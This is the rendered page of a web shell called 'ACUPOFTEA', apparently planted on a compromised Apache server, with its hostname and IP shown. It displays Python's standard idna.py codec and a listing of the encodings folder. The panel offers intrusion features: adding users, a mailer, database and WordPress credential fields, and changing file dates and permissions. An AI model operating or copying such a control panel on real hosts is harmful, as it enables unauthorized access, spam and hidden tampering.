System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
lib64
/
python3.6
/
encodings
/
216.73.216.50
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
idna.py
# This module implements the RFCs 3490 (IDNA) and 3491 (Nameprep) import stringprep, re, codecs from unicodedata import ucd_3_2_0 as unicodedata # IDNA section 3.1 dots = re.compile("[\u002E\u3002\uFF0E\uFF61]") # IDNA section 5 ace_prefix = b"xn--" sace_prefix = "xn--" # This assumes query strings, so AllowUnassigned is true def nameprep(label): # Map newlabel = [] for c in label: if stringprep.in_table_b1(c): # Map to nothing continue newlabel.append(stringprep.map_table_b2(c)) label = "".join(newlabel) # Normalize label = unicodedata.normalize("NFKC", label) # Prohibit for c in label: if stringprep.in_table_c12(c) or \ stringprep.in_table_c22(c) or \ stringprep.in_table_c3(c) or \ stringprep.in_table_c4(c) or \ stringprep.in_table_c5(c) or \ stringprep.in_table_c6(c) or \ stringprep.in_table_c7(c) or \ stringprep.in_table_c8(c) or \ stringprep.in_table_c9(c): raise UnicodeError("Invalid character %r" % c) # Check bidi RandAL = [stringprep.in_table_d1(x) for x in label] if any(RandAL): # There is a RandAL char in the string. Must perform further # tests: # 1) The characters in section 5.8 MUST be prohibited. # This is table C.8, which was already checked # 2) If a string contains any RandALCat character, the string # MUST NOT contain any LCat character. if any(stringprep.in_table_d2(x) for x in label): raise UnicodeError("Violation of BIDI requirement 2") # 3) If a string contains any RandALCat character, a # RandALCat character MUST be the first character of the # string, and a RandALCat character MUST be the last # character of the string. if not RandAL[0] or not RandAL[-1]: raise UnicodeError("Violation of BIDI requirement 3") return label def ToASCII(label): try: # Step 1: try ASCII label = label.encode("ascii") except UnicodeError: pass else: # Skip to step 3: UseSTD3ASCIIRules is false, so # Skip to step 8. if 0 < len(label) < 64: return label raise UnicodeError("label empty or too long") # Step 2: nameprep label = nameprep(label) # Step 3: UseSTD3ASCIIRules is false # Step 4: try ASCII try: label = label.encode("ascii") except UnicodeError: pass else: # Skip to step 8. if 0 < len(label) < 64: return label raise UnicodeError("label empty or too long") # Step 5: Check ACE prefix if label.startswith(sace_prefix): raise UnicodeError("Label starts with ACE prefix") # Step 6: Encode with PUNYCODE label = label.encode("punycode") # Step 7: Prepend ACE prefix label = ace_prefix + label # Step 8: Check size if 0 < len(label) < 64: return label raise UnicodeError("label empty or too long") def ToUnicode(label): # Step 1: Check for ASCII if isinstance(label, bytes): pure_ascii = True else: try: label = label.encode("ascii") pure_ascii = True except UnicodeError: pure_ascii = False if not pure_ascii: # Step 2: Perform nameprep label = nameprep(label) # It doesn't say this, but apparently, it should be ASCII now try: label = label.encode("ascii") except UnicodeError: raise UnicodeError("Invalid character in IDN label") # Step 3: Check for ACE prefix if not label.startswith(ace_prefix): return str(label, "ascii") # Step 4: Remove ACE prefix label1 = label[len(ace_prefix):] # Step 5: Decode using PUNYCODE result = label1.decode("punycode") # Step 6: Apply ToASCII label2 = ToASCII(result) # Step 7: Compare the result of step 6 with the one of step 3 # label2 will already be in lower case. if str(label, "ascii").lower() != str(label2, "ascii"): raise UnicodeError("IDNA does not round-trip", label, label2) # Step 8: return the result of step 5 return result ### Codec APIs class Codec(codecs.Codec): def encode(self, input, errors='strict'): if errors != 'strict': # IDNA is quite clear that implementations must be strict raise UnicodeError("unsupported error handling "+errors) if not input: return b'', 0 try: result = input.encode('ascii') except UnicodeEncodeError: pass else: # ASCII name: fast path labels = result.split(b'.') for label in labels[:-1]: if not (0 < len(label) < 64): raise UnicodeError("label empty or too long") if len(labels[-1]) >= 64: raise UnicodeError("label too long") return result, len(input) result = bytearray() labels = dots.split(input) if labels and not labels[-1]: trailing_dot = b'.' del labels[-1] else: trailing_dot = b'' for label in labels: if result: # Join with U+002E result.extend(b'.') result.extend(ToASCII(label)) return bytes(result+trailing_dot), len(input) def decode(self, input, errors='strict'): if errors != 'strict': raise UnicodeError("Unsupported error handling "+errors) if not input: return "", 0 # IDNA allows decoding to operate on Unicode strings, too. if not isinstance(input, bytes): # XXX obviously wrong, see #3232 input = bytes(input) if ace_prefix not in input: # Fast path try: return input.decode('ascii'), len(input) except UnicodeDecodeError: pass labels = input.split(b".") if labels and len(labels[-1]) == 0: trailing_dot = '.' del labels[-1] else: trailing_dot = '' result = [] for label in labels: result.append(ToUnicode(label)) return ".".join(result)+trailing_dot, len(input) class IncrementalEncoder(codecs.BufferedIncrementalEncoder): def _buffer_encode(self, input, errors, final): if errors != 'strict': # IDNA is quite clear that implementations must be strict raise UnicodeError("unsupported error handling "+errors) if not input: return (b'', 0) labels = dots.split(input) trailing_dot = b'' if labels: if not labels[-1]: trailing_dot = b'.' del labels[-1] elif not final: # Keep potentially unfinished label until the next call del labels[-1] if labels: trailing_dot = b'.' result = bytearray() size = 0 for label in labels: if size: # Join with U+002E result.extend(b'.') size += 1 result.extend(ToASCII(label)) size += len(label) result += trailing_dot size += len(trailing_dot) return (bytes(result), size) class IncrementalDecoder(codecs.BufferedIncrementalDecoder): def _buffer_decode(self, input, errors, final): if errors != 'strict': raise UnicodeError("Unsupported error handling "+errors) if not input: return ("", 0) # IDNA allows decoding to operate on Unicode strings, too. if isinstance(input, str): labels = dots.split(input) else: # Must be ASCII string input = str(input, "ascii") labels = input.split(".") trailing_dot = '' if labels: if not labels[-1]: trailing_dot = '.' del labels[-1] elif not final: # Keep potentially unfinished label until the next call del labels[-1] if labels: trailing_dot = '.' result = [] size = 0 for label in labels: result.append(ToUnicode(label)) if size: size += 1 size += len(label) result = ".".join(result) + trailing_dot size += len(trailing_dot) return (result, size) class StreamWriter(Codec,codecs.StreamWriter): pass class StreamReader(Codec,codecs.StreamReader): pass ### encodings module API def getregentry(): return codecs.CodecInfo( name='idna', encode=Codec().encode, decode=Codec().decode, incrementalencoder=IncrementalEncoder, incrementaldecoder=IncrementalDecoder, streamwriter=StreamWriter, streamreader=StreamReader, )
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
..
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
__pycache__
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
__init__.py
text/x-python
5.51 KB
-rw-r--r--
2018-12-23 09:37:14
aliases.py
text/plain
15.21 KB
-rw-r--r--
2018-12-23 09:37:14
ascii.py
text/plain
1.22 KB
-rw-r--r--
2018-12-23 09:37:14
base64_codec.py
text/plain
1.5 KB
-rw-r--r--
2018-12-23 09:37:14
big5.py
text/x-c++
1019 B
-rw-r--r--
2018-12-23 09:37:14
big5hkscs.py
text/x-c++
1.01 KB
-rw-r--r--
2018-12-23 09:37:14
bz2_codec.py
text/plain
2.2 KB
-rw-r--r--
2018-12-23 09:37:14
charmap.py
text/plain
2.04 KB
-rw-r--r--
2018-12-23 09:37:14
cp037.py
text/plain
12.81 KB
-rw-r--r--
2018-12-23 09:37:14
cp1006.py
text/plain
13.25 KB
-rw-r--r--
2018-12-23 09:37:14
cp1026.py
text/plain
12.81 KB
-rw-r--r--
2018-12-23 09:37:14
cp1125.py
text/plain
33.79 KB
-rw-r--r--
2018-12-23 09:37:14
cp1140.py
text/plain
12.8 KB
-rw-r--r--
2018-12-23 09:37:14
cp1250.py
text/plain
13.37 KB
-rw-r--r--
2018-12-23 09:37:14
cp1251.py
text/plain
13.05 KB
-rw-r--r--
2018-12-23 09:37:14
cp1252.py
text/plain
13.19 KB
-rw-r--r--
2018-12-23 09:37:14
cp1253.py
text/plain
12.79 KB
-rw-r--r--
2018-12-23 09:37:14
cp1254.py
text/plain
13.19 KB
-rw-r--r--
2018-12-23 09:37:14
cp1255.py
text/plain
12.17 KB
-rw-r--r--
2018-12-23 09:37:14
cp1256.py
text/plain
12.51 KB
-rw-r--r--
2018-12-23 09:37:14
cp1257.py
text/plain
13.06 KB
-rw-r--r--
2018-12-23 09:37:14
cp1258.py
text/plain
13.05 KB
-rw-r--r--
2018-12-23 09:37:14
cp273.py
text/plain
13.8 KB
-rw-r--r--
2018-12-23 09:37:14
cp424.py
text/plain
11.77 KB
-rw-r--r--
2018-12-23 09:37:14
cp437.py
text/plain
33.75 KB
-rw-r--r--
2018-12-23 09:37:14
cp500.py
text/plain
12.81 KB
-rw-r--r--
2018-12-23 09:37:14
cp65001.py
text/plain
1.08 KB
-rw-r--r--
2018-12-23 09:37:14
cp720.py
text/plain
13.37 KB
-rw-r--r--
2018-12-23 09:37:14
cp737.py
text/plain
33.87 KB
-rw-r--r--
2018-12-23 09:37:14
cp775.py
text/plain
33.67 KB
-rw-r--r--
2018-12-23 09:37:14
cp850.py
text/plain
33.31 KB
-rw-r--r--
2018-12-23 09:37:14
cp852.py
text/plain
34.18 KB
-rw-r--r--
2018-12-23 09:37:14
cp855.py
text/plain
33.06 KB
-rw-r--r--
2018-12-23 09:37:14
cp856.py
text/plain
12.13 KB
-rw-r--r--
2018-12-23 09:37:14
cp857.py
text/plain
33.11 KB
-rw-r--r--
2018-12-23 09:37:14
cp858.py
text/plain
33.22 KB
-rw-r--r--
2018-12-23 09:37:14
cp860.py
text/plain
33.87 KB
-rw-r--r--
2018-12-23 09:37:14
cp861.py
text/plain
33.82 KB
-rw-r--r--
2018-12-23 09:37:14
cp862.py
text/plain
32.59 KB
-rw-r--r--
2018-12-23 09:37:14
cp863.py
text/plain
33.45 KB
-rw-r--r--
2018-12-23 09:37:14
cp864.py
text/plain
32.87 KB
-rw-r--r--
2018-12-23 09:37:14
cp865.py
text/plain
33.81 KB
-rw-r--r--
2018-12-23 09:37:14
cp866.py
text/plain
33.59 KB
-rw-r--r--
2018-12-23 09:37:14
cp869.py
text/plain
32.19 KB
-rw-r--r--
2018-12-23 09:37:14
cp874.py
text/plain
12.3 KB
-rw-r--r--
2018-12-23 09:37:14
cp875.py
text/plain
12.55 KB
-rw-r--r--
2018-12-23 09:37:14
cp932.py
text/x-c++
1023 B
-rw-r--r--
2018-12-23 09:37:14
cp949.py
text/x-c++
1023 B
-rw-r--r--
2018-12-23 09:37:14
cp950.py
text/x-c++
1023 B
-rw-r--r--
2018-12-23 09:37:14
euc_jis_2004.py
text/x-c++
1.03 KB
-rw-r--r--
2018-12-23 09:37:14
euc_jisx0213.py
text/x-c++
1.03 KB
-rw-r--r--
2018-12-23 09:37:14
euc_jp.py
text/x-c++
1 KB
-rw-r--r--
2018-12-23 09:37:14
euc_kr.py
text/x-c++
1 KB
-rw-r--r--
2018-12-23 09:37:14
gb18030.py
text/x-c++
1.01 KB
-rw-r--r--
2018-12-23 09:37:14
gb2312.py
text/x-c++
1 KB
-rw-r--r--
2018-12-23 09:37:14
gbk.py
text/x-c++
1015 B
-rw-r--r--
2018-12-23 09:37:14
hex_codec.py
text/plain
1.47 KB
-rw-r--r--
2018-12-23 09:37:14
hp_roman8.py
text/plain
13.16 KB
-rw-r--r--
2018-12-23 09:37:14
hz.py
text/x-c++
1011 B
-rw-r--r--
2018-12-23 09:37:14
idna.py
text/x-python
8.88 KB
-rw-r--r--
2025-08-26 08:58:55
iso2022_jp.py
text/x-c++
1.03 KB
-rw-r--r--
2018-12-23 09:37:14
iso2022_jp_1.py
text/x-c++
1.04 KB
-rw-r--r--
2018-12-23 09:37:14
iso2022_jp_2.py
text/x-c++
1.04 KB
-rw-r--r--
2018-12-23 09:37:14
iso2022_jp_2004.py
text/x-c++
1.05 KB
-rw-r--r--
2018-12-23 09:37:14
iso2022_jp_3.py
text/x-c++
1.04 KB
-rw-r--r--
2018-12-23 09:37:14
iso2022_jp_ext.py
text/x-c++
1.04 KB
-rw-r--r--
2018-12-23 09:37:14
iso2022_kr.py
text/x-c++
1.03 KB
-rw-r--r--
2018-12-23 09:37:14
iso8859_1.py
text/plain
12.87 KB
-rw-r--r--
2018-12-23 09:37:14
iso8859_10.py
text/plain
13.27 KB
-rw-r--r--
2018-12-23 09:37:14
iso8859_11.py
text/plain
12.05 KB
-rw-r--r--
2018-12-23 09:37:14
iso8859_13.py
text/plain
12.96 KB
-rw-r--r--
2018-12-23 09:37:14
iso8859_14.py
text/plain
13.33 KB
-rw-r--r--
2018-12-23 09:37:14
iso8859_15.py
text/plain
12.9 KB
-rw-r--r--
2018-12-23 09:37:14
iso8859_16.py
text/plain
13.24 KB
-rw-r--r--
2018-12-23 09:37:14
iso8859_2.py
text/plain
13.09 KB
-rw-r--r--
2018-12-23 09:37:14
iso8859_3.py
text/plain
12.78 KB
-rw-r--r--
2018-12-23 09:37:14
iso8859_4.py
text/plain
13.06 KB
-rw-r--r--
2018-12-23 09:37:14
iso8859_5.py
text/plain
12.71 KB
-rw-r--r--
2018-12-23 09:37:14
iso8859_6.py
text/plain
10.58 KB
-rw-r--r--
2018-12-23 09:37:14
iso8859_7.py
text/plain
12.54 KB
-rw-r--r--
2018-12-23 09:37:14
iso8859_8.py
text/plain
10.78 KB
-rw-r--r--
2018-12-23 09:37:14
iso8859_9.py
text/plain
12.85 KB
-rw-r--r--
2018-12-23 09:37:14
johab.py
text/x-c++
1023 B
-rw-r--r--
2018-12-23 09:37:14
koi8_r.py
text/plain
13.46 KB
-rw-r--r--
2018-12-23 09:37:14
koi8_t.py
text/plain
12.88 KB
-rw-r--r--
2018-12-23 09:37:14
koi8_u.py
text/plain
13.44 KB
-rw-r--r--
2018-12-23 09:37:14
kz1048.py
text/plain
13.4 KB
-rw-r--r--
2018-12-23 09:37:14
latin_1.py
text/plain
1.23 KB
-rw-r--r--
2018-12-23 09:37:14
mac_arabic.py
text/plain
35.61 KB
-rw-r--r--
2018-12-23 09:37:14
mac_centeuro.py
text/plain
13.77 KB
-rw-r--r--
2018-12-23 09:37:14
mac_croatian.py
text/plain
13.31 KB
-rw-r--r--
2018-12-23 09:37:14
mac_cyrillic.py
text/plain
13.14 KB
-rw-r--r--
2018-12-23 09:37:14
mac_farsi.py
text/plain
14.81 KB
-rw-r--r--
2018-12-23 09:37:14
mac_greek.py
text/plain
13.4 KB
-rw-r--r--
2018-12-23 09:37:14
mac_iceland.py
text/plain
13.18 KB
-rw-r--r--
2018-12-23 09:37:14
mac_latin2.py
text/plain
13.79 KB
-rw-r--r--
2018-12-23 09:37:14
mac_roman.py
text/plain
13.16 KB
-rw-r--r--
2018-12-23 09:37:14
mac_romanian.py
text/plain
13.34 KB
-rw-r--r--
2018-12-23 09:37:14
mac_turkish.py
text/plain
13.2 KB
-rw-r--r--
2018-12-23 09:37:14
mbcs.py
text/x-python
1.18 KB
-rw-r--r--
2018-12-23 09:37:14
oem.py
text/x-python
1019 B
-rw-r--r--
2018-12-23 09:37:14
palmos.py
text/plain
13.2 KB
-rw-r--r--
2018-12-23 09:37:14
ptcp154.py
text/plain
13.69 KB
-rw-r--r--
2018-12-23 09:37:14
punycode.py
text/plain
6.72 KB
-rw-r--r--
2018-12-23 09:37:14
quopri_codec.py
text/x-python
1.49 KB
-rw-r--r--
2018-12-23 09:37:14
raw_unicode_escape.py
text/plain
1.18 KB
-rw-r--r--
2018-12-23 09:37:14
rot_13.py
text/plain
2.38 KB
-rwxr-xr-x
2018-12-23 09:37:14
shift_jis.py
text/x-c++
1.01 KB
-rw-r--r--
2018-12-23 09:37:14
shift_jis_2004.py
text/x-c++
1.03 KB
-rw-r--r--
2018-12-23 09:37:14
shift_jisx0213.py
text/x-c++
1.03 KB
-rw-r--r--
2018-12-23 09:37:14
tis_620.py
text/plain
12.01 KB
-rw-r--r--
2018-12-23 09:37:14
undefined.py
text/plain
1.27 KB
-rw-r--r--
2018-12-23 09:37:14
unicode_escape.py
text/plain
1.16 KB
-rw-r--r--
2018-12-23 09:37:14
unicode_internal.py
text/plain
1.17 KB
-rw-r--r--
2018-12-23 09:37:14
utf_16.py
text/plain
5.11 KB
-rw-r--r--
2018-12-23 09:37:14
utf_16_be.py
text/plain
1.01 KB
-rw-r--r--
2018-12-23 09:37:14
utf_16_le.py
text/plain
1.01 KB
-rw-r--r--
2018-12-23 09:37:14
utf_32.py
text/plain
5.01 KB
-rw-r--r--
2018-12-23 09:37:14
utf_32_be.py
text/plain
930 B
-rw-r--r--
2018-12-23 09:37:14
utf_32_le.py
text/plain
930 B
-rw-r--r--
2018-12-23 09:37:14
utf_7.py
text/plain
946 B
-rw-r--r--
2018-12-23 09:37:14
utf_8.py
text/plain
1005 B
-rw-r--r--
2018-12-23 09:37:14
utf_8_sig.py
text/plain
4.04 KB
-rw-r--r--
2018-12-23 09:37:14
uu_codec.py
text/x-python
2.66 KB
-rw-r--r--
2018-12-23 09:37:14
zlib_codec.py
text/plain
2.15 KB
-rw-r--r--
2018-12-23 09:37:14
~ ACUPOFTEA - mail.ontime-ae.com